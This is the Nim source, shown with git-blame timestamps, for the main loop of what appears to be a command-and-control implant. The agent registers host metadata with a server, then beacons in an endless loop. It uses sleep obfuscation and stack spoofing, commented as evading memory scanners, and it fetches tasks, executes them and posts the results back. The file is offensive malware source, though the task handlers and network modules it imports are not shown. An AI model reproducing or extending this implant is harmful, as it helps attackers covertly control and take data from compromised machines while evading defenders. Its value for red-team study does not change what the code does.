2025-07-24 15:31:46 +02:00
|
|
|
import strformat, os, times, system, base64
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-09-17 15:55:13 +02:00
|
|
|
import core/[http, context, sleepmask]
|
2025-08-15 15:42:57 +02:00
|
|
|
import protocol/[task, result, heartbeat, registration]
|
2025-07-25 16:41:29 +02:00
|
|
|
import ../common/[types, utils, crypto]
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
proc main() =
|
|
|
|
|
|
2025-08-15 15:42:57 +02:00
|
|
|
# Initialize agent context
|
|
|
|
|
var ctx = AgentCtx.init()
|
|
|
|
|
if ctx == nil:
|
2025-05-24 13:56:26 +02:00
|
|
|
quit(0)
|
|
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
# Create registration payload
|
2025-08-15 15:42:57 +02:00
|
|
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
|
|
|
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
2025-07-21 22:07:25 +02:00
|
|
|
|
2025-08-15 15:42:57 +02:00
|
|
|
if not ctx.httpPost(registrationBytes):
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[-] Agent registration failed."
|
|
|
|
|
quit(0)
|
2025-08-15 15:42:57 +02:00
|
|
|
echo fmt"[+] [{ctx.agentId}] Agent registered."
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
#[
|
2025-05-22 20:03:22 +02:00
|
|
|
Agent routine:
|
2025-05-19 21:56:34 +02:00
|
|
|
1. Sleep Obfuscation
|
|
|
|
|
2. Retrieve task from /tasks endpoint
|
|
|
|
|
3. Execute task and post result to /results
|
|
|
|
|
4. If additional tasks have been fetched, go to 2.
|
|
|
|
|
5. If no more tasks need to be executed, go to 1.
|
|
|
|
|
]#
|
|
|
|
|
while true:
|
2025-09-04 13:44:50 +02:00
|
|
|
# Sleep obfuscation to evade memory scanners
|
|
|
|
|
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
2025-08-28 12:47:37 +02:00
|
|
|
echo "\n", fmt"[*] [{date}] Checking in."
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
try:
|
|
|
|
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
|
|
|
|
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
2025-08-15 15:42:57 +02:00
|
|
|
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
2025-07-26 18:20:54 +02:00
|
|
|
let
|
2025-08-15 15:42:57 +02:00
|
|
|
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
|
|
|
|
|
packet: string = ctx.httpGet(heartbeatBytes)
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
if packet.len <= 0:
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[*] No tasks to execute."
|
2025-07-26 18:20:54 +02:00
|
|
|
continue
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-08-15 15:42:57 +02:00
|
|
|
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
2025-07-26 18:20:54 +02:00
|
|
|
|
|
|
|
|
if tasks.len <= 0:
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[*] No tasks to execute."
|
2025-07-26 18:20:54 +02:00
|
|
|
continue
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
# Execute all retrieved tasks and return their output to the server
|
|
|
|
|
for task in tasks:
|
2025-08-15 15:42:57 +02:00
|
|
|
var result: TaskResult = ctx.handleTask(task)
|
|
|
|
|
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
|
2025-07-19 16:49:27 +02:00
|
|
|
|
2025-08-15 15:42:57 +02:00
|
|
|
ctx.httpPost(resultBytes)
|
2025-07-26 18:20:54 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
echo "[-] ", err.msg
|
2025-09-03 19:38:22 +02:00
|
|
|
|
2025-08-28 19:00:34 +02:00
|
|
|
when isMainModule:
|
2025-05-19 21:56:34 +02:00
|
|
|
main()
|